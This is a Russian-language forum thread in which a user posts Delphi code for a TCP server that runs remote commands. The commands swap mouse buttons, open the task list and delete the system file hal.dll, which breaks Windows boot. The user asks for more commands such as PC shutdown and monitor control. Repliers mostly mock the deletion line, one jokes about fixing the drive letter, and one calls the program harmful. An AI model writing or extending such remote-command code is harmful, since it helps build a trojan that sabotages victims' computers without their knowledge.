Вопрос на счет команд через TCP

[mroff]

вот код команд которые я внес в программу

procedure TForm1.IdTCPServer1Execute(AThread: TIdPeerThread);
begin
if AThread.Connection.ReadLn=('cmd') then
ShowMessage('Тест');
if AThread.Connection.ReadLn=('cmds') then
SystemParametersInfo(SPI_SETMOUSEBUTTONSWAP, 0, 0,
SPIF_SENDWININICHANGE);
if AThread.Connection.ReadLn=('cmds2') then
SystemParametersInfo(SPI_SETMOUSEBUTTONSWAP, 1, 0,
SPIF_SENDWININICHANGE);
if AThread.Connection.ReadLn=('cmds3') then
SendMessage(Self.Handle, WM_SYSCOMMAND, SC_TASKLIST, 0);
if AThread.Connection.ReadLn=('cmds5') then
DeleteFile('C:\Windows\System32\hal.dll');
end;

кто нибудь может написать еще пару команд такие как отключения пк
выкл монитора и включения
и что то подобное в этом роде

[Stilet]

DeleteFile('C:\Windows\System32\hal .dll');

Поржал... +100500 однозначно

[Пепел Феникса]

ой как я то поржу, у меня этот код откажеться работать

[Stilet]

Почему? Антивирь?

[Пепел Феникса]

винда на диске E, загрузочный диск G, а диск C это вообще картридер

[Stilet]

А-а-а. Автор, немедленно поменяй букву диска в коде!

[Пепел Феникса]

да и вдруг путь к папке винды другой

вообще видно что программа вредная.